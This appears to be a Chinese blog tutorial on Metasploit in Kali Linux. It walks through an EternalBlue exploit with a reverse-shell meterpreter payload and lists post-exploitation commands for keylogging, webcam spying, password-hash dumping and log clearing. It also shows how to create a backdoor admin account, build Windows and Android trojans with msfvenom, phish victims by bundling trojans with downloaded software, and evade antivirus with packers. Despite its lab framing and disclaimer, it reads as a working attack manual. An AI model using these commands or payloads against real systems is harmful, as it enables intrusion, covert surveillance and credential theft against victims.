进入黑客的世界:Kali Linux 中的 Metasploit 渗透测试利器

数据来源

  本文仅用于信息安全学习,请遵守相关法律法规,严禁用于非法途径。若观众因此作出任何危害网络安全的行为,后果自负,与本人无关。 

得到ip地址我们能干嘛?

        首先进行端口扫描

为什么要进行端口扫描?

        端口扫描的作用就是发现目标主机开放的端口及其对应开放的服务,攻击者通过发现及利用服务所存在的漏洞,入侵目标主机。

- Nmap -扫描器之王

metasploit是什么?

        msf是一款开源安全漏洞利用和测试工具,集成了各种平台上常见的溢岀漏洞和流行的 shellcode,并持续保持更新。

        netasploiti让复杂的漏洞攻击流程变的非常简单,一个电脑小白经过几小时的学习,就能对操作系统等主流漏洞发起危害性攻击。 

启动 metasploit 前需要做:

  • 打开ka终端
  • 使用 sudo su命令,并输入kali的密码kali,切换至root用户
  • 使用 msfdb init命令初始化 metasploit数据库(*可选) 

metasploit攻击 windows操作系统

        msfconsole           # 启动 metasploita命令行【命令行效率高,使用方便】

msf使用法则:

        使用模块  ->  配置模块必选项  ->  运行模块。        三步操作,就能实现对主流漏洞的攻击 

永恒之蓝漏洞:

        永恒之蓝是指2017年4月14日晚,黑客团体 ShadowBrokers(影子经纪人)公布一大批网络攻击工具,其中包含“永恒之蓝”工具,“永恒之蓝”利用 Windows系统的SMB漏洞可以获取系统最高权限。5月12日,不法分子通过改造“永恒之蓝”制作了 Wannacry勒索病毒,英国、俄罗斯、整个欧洲以及中国国内多个高校校内网、大型企业内网和政府机构专网中招,被勒索支付高额赎金才能解密恢复文件。

metasploit攻击永恒之蓝全流程:

1. 使用模块

        use exploit/windows/smb/ms17_010_eternalblue

2. 设置必选项

        查看必选项【*required 为yes的就是必选项】 

        show options

或者

1. 搜索漏洞编号:

        search ms17_010       # 搜索2017年的10号漏洞永恒之蓝(微软定义),search 使用

2. 使用模块

         可以通过模块名称或模块编号使用模块

        use exploit/windows/smb/ms17_010_eternalblue  # 通过模块名称使用模块

        或(选择一种方式即可)

        use 0                                                                            # 通过模块编号使用模块

3. 查看模块所需要的配置内容

        show options              # 可以按tab键自动补全命令,show 显示/展示   options  选项

        必选项是:yes 的就是必选设置,一些是有默认的,一些是没有默认的就需要我们添加,如目标主机状态是yes,但是当前设置时空。

实验:

        1、准备一台靶机(我这里开了一台winXP),并查看靶机的IP地址(等下用做攻击目标)

        ipconfig          # 查看本机IP地址

        ifconfig eth# kali查看IP 

 2、回到kli设置metasploit的必选项,攻击目标这些

         set RHOSTS 192.168.0.103   # 设置目标IP地址,set  (设置)RHOSTS 目标主机的名称,代表你要攻击谁,目标主机地址也可以写一个范围如:192.168.0.103-254

        show options              # show 显示/展示   options  选项,查看还有什么需要设置的

        set payload windows/x64/meterpreter/reverse_tcp  # payload 是攻击载荷,就是攻击完成后想干啥,这里是想获取 meterpreter (默认就是这个)meterpreter是 metasploit 后渗透的神器 

        set LHOST 192.168.0.102          # LHOSTS为 listen host (侦听主机)代表你是谁,既kali的IP地址默认就是kali自己的IP地址,如果你的不是那就可以修改

        set lport 10001   # 将端口设置为10001,代表你要在kali上开启的端口,1-65535随便选,但不能被占用,默认的端口是:4444,为了攻击的成功率可以改一下

        show options              # 查看配置

 3、启动运行模块,开启攻击

        命令:run

        我这里攻击失败了,原因:192.168.0.103:445-由于失败而中止利用漏洞:无目标:此模块仅支持x64(64位)目标         

开一台64位操作系统的虚拟机,继续实验

继续查看主机IP

重新设置攻击目标

     set RHOSTS 192.168.0.106   # 设置目标IP地址

 启动运行模块,开启攻击

        命令:run

     攻击成功命令行就会来到meterpreter>,这里就是拿到了目标主机的权限 

 攻击成功,拿到了对方的权限可以干嘛?可以输入:help   # 查看帮助

 核心命令

命令   

说明

?“帮助”菜单
 background 当前会话的背景
bg背景别名
bgkill杀死背景meterpreter脚本
bglist列出正在运行的后台脚本
bgrun作为后台线程执行meterpreter脚本
channel显示信息或控制活动通道
close关闭频道
detach分离meterpreter会话(对于http/https)
disable_unicode_encoding禁用unicode字符串的编码
enable_unicode_encoding启用unicode字符串的编码
exit                      终止meterpreter会话
get_timeouts获取当前会话超时值
guid获取会话guid
help                      帮助菜单
info显示有关Post模块的信息
irb在当前会话上打开交互式Ruby shell
load                      加载一个或多个meterpreter扩展
machine_id获取连接到会话的计算机的MSF id
migrate                   将服务器迁移到另一个进程
pivot管理数据透视侦听器
pry                       在当前会话上打开Pry调试器
quit                      终止meterpreter会话
read从通道读取数据
resource运行存储在文件中的命令
run执行meterpreter脚本或Post模块
secure                    (重新)协商TLV数据包加密
sessions                  快速切换到另一个会话
set_timeouts设置当前会话超时值
sleep强制仪表安静,然后重新建立会话,用法:用法:sleep<秒数>
ssl_verify修改ssl证书验证设置
transport                 管理运输机制
use“load”的别名已弃用
uuid获取当前会话的uuid
write将数据写入通道

Stdapi:文件系统命令

命令说明
cat将文件的内容读到屏幕上
cd更改目录
checksum检索文件的校验和
cp将源复制到目标
del删除指定的文件
dir列表文件(ls的别名)
download下载文件或目录
edit          编辑文件
getlwd打印本地工作目录
getwd打印工作目录
lcat将本地文件的内容读取到屏幕

lcd

更改本地工作目录
lls列出本地文件
lpwd打印本地工作目录
ls列表文件
mkdir创建新目录
mv将源文件移动到目标
pwd打印工作目录
rm删除指定的文件
rmdir删除目录
search        搜索文件
show_mount列出所有装载点/逻辑驱动器
upload上载文件或目目录(可以用来上传文件到对方电脑)

Stdapi:网络命令

命令说明
arp显示主机arp缓存
getproxy显示当前代理配置
ifconfig显示界面
ipconfig显示IP界面
netstat显示网络连接与对方开放的端口
portfwd将本地端口转发到远程服务
resolve       解析目标上的一组主机名
route查看和修改路由表

Stdapi:系统命令

命令说明
clearev清除事件日志
drop_token放弃任何活动模拟令牌。
execute       执行命令
getenv获取一个或多个环境变量值
getpid获取当前进程标识符
getprivs尝试启用当前进程可用的所有权限
getsid获取服务器正在运行的用户的SID
getuid获取服务器运行的用户
kill终止进程
localtime显示目标系统的本地日期和时间
pgrep按名称筛选进程
pkill按名称终止进程
ps列出正在运行的进程
reboot重新启动远程计算机
reg修改并与远程注册表交互
rev2self在远程计算机上调用RevertToSelf()
shell放入系统命令shell
shutdown关闭远程计算机
stealt_token尝试从目标进程中窃取模拟令牌
suspend暂停或恢复进程列表
sysinfo获取有关远程系统的信息,如操作系统

Stdapi:用户界面命令

命令说明
enumdesktops列出所有可访问的桌面和窗口工作站
getdesktop获取当前meterpreter桌面
idletime返回远程用户空闲的秒数
keyboard_send发送键击
keyevent发送按键事件
keyscan_dump转储击键缓冲区
keyscan_start开始捕获击键
keyscan_stop停止捕获击键
mouse发送鼠标事件
screenshare    共享实时监视远程用户桌面
screenshot     截图,获取交互式桌面的截图
setdesktop更改meterpreters当前桌面
uictl控制一些用户界面组件

Stdapi:正在使用网络摄像头命令

命令说明
record_mic从默认麦克风录制音频X秒
webcam_chat开始视频聊天
webcam_list列出网络摄像头
webcam_snap从指定的网络摄像机拍摄快照
webcam_stream从指定的网络摄像机播放视频流(打开摄像头)

Stdapi:音频输出命令

命令说明
play 在目标系统上播放波形音频文件(.wav)

Priv:提升命令

命令说明
getsystem尝试将您的权限提升到本地系统的权限

密码数据库命令

命令说明
hashdump转储SAM数据库的内容

Priv:时间戳命令

命令说明
timestomp操纵文件MACE属性

攻击成功后的命令使用:

        攻击成功后成功获取到对方主机的权限,上面的这操作命令直接输入到命令行使用就行了

 注意:上面表格中的命令我也没有仔细检查过,如果使用时出现报错那应该是我填错了,这时可以输入命令:

        help   # 查看帮助,按类型获取到正确的命令,也可以在下方给我留言我会及时更改。

攻击成功后的使用示例: 

        攻击成功后能做什么meterpreter是强大的后渗透模块,可以输入help查看帮助信息

        远程控制、命令执行、摄像头监控、密码获取、创建后门用户、破坏篡改系统...这些看起来非常复杂又高级的操作都能用 meterpreter中一行或几个字母,简单的命令完成

例:创建后门用户并开启远程连接(3389) 

        shell                                                          # 启动dos窗口,这样就能使用DOS 命令

        chcp 65001                                              # 默认情况下编码为936,中文会出现乱码问题,65001为UTF-8的代码页,可以正常显示中文

        net user zhangsan 123456 /add & net localgroup administrators zhangsan /add 

        或分开执行

        net user zhangsan 123456 /add              # 创建一个用户名为“zhangsan ”密码是“123456 ”

        net localgroup administrators zhangsan /add    # 将zhangsan 加入到管理员组(提升权限)

        exit                                                            # 退到上一级目录(这里是退出dos窗口回到,meterpreter > )

        getsystem                                                  #  先将当前的session提升为system权限(以防万一)

        run post/windows/manage/enable_rdp   #  利用此后渗透模块即可直接开启远程桌面,开启受害者主机3389端口(远程桌面连接端口)

        这样一套命令下来,以后我们就可以直接使用 zhangsan 这个账号登录3389端口的远程桌面服务,远程控制目标主机(mstsc -v 目标ip)

rdesktop 192.168.0.103:3389  # 连接受害者主机的远程桌面,如下图所示:

需要注意的是你登录了,对方会被你挤下线 

1)使用Kali渗透工具生成远控木马

        想远程控制别人?msfvenom 生成远控木马了解一下

        msfvenom 是用来生成后门的软件,在目标机上执行后门,在本地监听上线。

      【* msfvenom在shell里使用,不是 msfconsole 终端】

        payload        攻击载荷 

        windows       是指微软的windows操作系统,如果目标是其他系统这里就改成其他系统名称如:Linux

        lhost               代表你是谁,既kali的IP地址

        lport              代表你要在kali上开启的端口,1-65535随便选,但不能被占用

        -f                    是指format(格式)

        exe                是windows格式文件,是指生成木马文件的文件格式,exe 和 dll(Windows 系列)、elf(Linux 系列)和 Mach-O(Mac系列)

        -o                  是指output(输出),后面跟的demo.exe是文件名,自定义随便改。

        msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.0.102 lport=9988 -f exe -o demo.exe 

msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.43.89 LPORT=9988 R > /home/kali/Desktop/lanxf.apk
 

 生成木马文件示例:

        输入:exit    # 退回上一级,直到回到kali的命令行中

         msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.0.102 lport=9988 -f exe -o demo999.exe   # 生成木马文件

        现在文件就生成到桌面的我们可以在桌面查看文件 

         这个文件可以通过邮箱或其他社交平台发送给对方,然后对方运行了之后我们就可以对他电脑进行远程控制(不过一般情况下会被对方的杀毒软件直接杀死)如下面这样,我们直接把木马文件复制到自己的真实机,杀毒软件会自动检测并杀死。

        注意:这里是在命令行的桌面路径下输入命令所以文件默认是生成在桌面,如果想改生成文件的位置,那就把命令后面的文件名改成路径加文件名,如:/home/kali/demo999.exe   。或者使用命令:cd 路径   # 更改命令行的路径

生成木马就完事?把木马文件发送到目标主机

(注意这一步需要使用上面写的方法通过metasploit获取到目标的权限才行,如果对方电脑没有漏洞获取不到对方权限,那就需要用钓鱼的方式让受害者自己下载,比如我们在百度上下载的软件都有很多捆绑软件)

        pwd                                                                 # 打印目标的工作目录

        upload /home/kali/桌面/demo999.exe          # 把木马文件发送到目标的电脑上

       upload /home/kali/桌面/demo999.exe d:\\    # 也可以指定文件路径,发送到对方的D盘根目录下

记得在 msfconsole里开启监听,等待受害者运行上钩 

        现在有了木马文件,我们要让别人下载,俗称:“钓鱼” 

首先:制作鱼钩

        msfconsole                         # 启动 metasploita命令行

        use exploit/multi/handler   # 使用模块

        show options                        # 查看设置,查看这个模块需要配置那些选项才能使用

1)设置攻击载荷:

         set payload windows/x64/meterpreter/reverse_tcp   # 这个攻击载荷就是上面我们使用的攻击载荷

        show options                                                                  # 查看设置

2)设置侦听地址

        set LHOST 192.168.0.102          # LHOSTS为 listen host (侦听主机)代表你是谁,既kali的IP地址

        show options                                                                  # 查看设置

3)设置帧听端口:

        set lport 9988   # 就是要在kali上要开启的端口,注意这里的端口要和前面生成木马文件的端口一样,我上面是用9988端口这里也要9988端口,默认的端口是4444

4)运行模块:run   # 简单理解就是把鱼钩放到河里

现在我们要做的就是等待鱼儿上钩:

  • 方法一:我们主动将钩子摁到鱼儿上(利用漏洞)
  • 方法二:姜太公钓鱼,愿者上钩!

假设目标通过网上下载了其他软件比如啥直播、游戏之类的,然后我的木马文件也和这些软件绑定了,他也运行了,之后我们就可以对他进行些操作。

通过命令运行对方的木马文件(需要使用上面写的方法通过metasploit获取到目标的权限

        execute -H -i -f demo999.exe          # 运行demo999.exe这个刚才我们发到目标过去的木马文件, -H 不可见,-i 交互

 然后输入:   help   # 查看通过这个木马文件我们能干啥,可以使用的功能和我上面列出来的命令一样

webcam_list列出网络摄像头(查看对方的电脑有没有摄像头)
webcam_stream从指定的网络摄像机播放视频流(打开摄像头)

我这里的目标是虚拟机所以这块,响应的信息是没有 

 

 ctrl + c 退出监控

杀毒软件会查杀怎么办?一招教你躲避火绒的探测

        最基础的免杀【*对于其他杀毒软件效果不同,具体情况请自行尝试】

捆绑木马(现在基本没效果,杀毒软件的技术更新了)

        msfvenom -p windows/64/meterpreter/reverse tcp lhost=192.168.0.102 lport=9999 -f  exe-xnotepad++. exe -o notepad++.exe    

 加壳:压缩壳、加密壳

如:Themida

使用示例:

        打开软件 

然后耐心等待加密过程,最后加密成功的界面如下,之后就可以关闭软件了。

然后可以复制到真实机上测试

         后门木马请勿随意传播,如果造成危害属于提供计算机操作系统入侵工具罪及非法入侵计算机操作系统数罪并罚。

评论 12
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

狗蛋的博客之旅

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值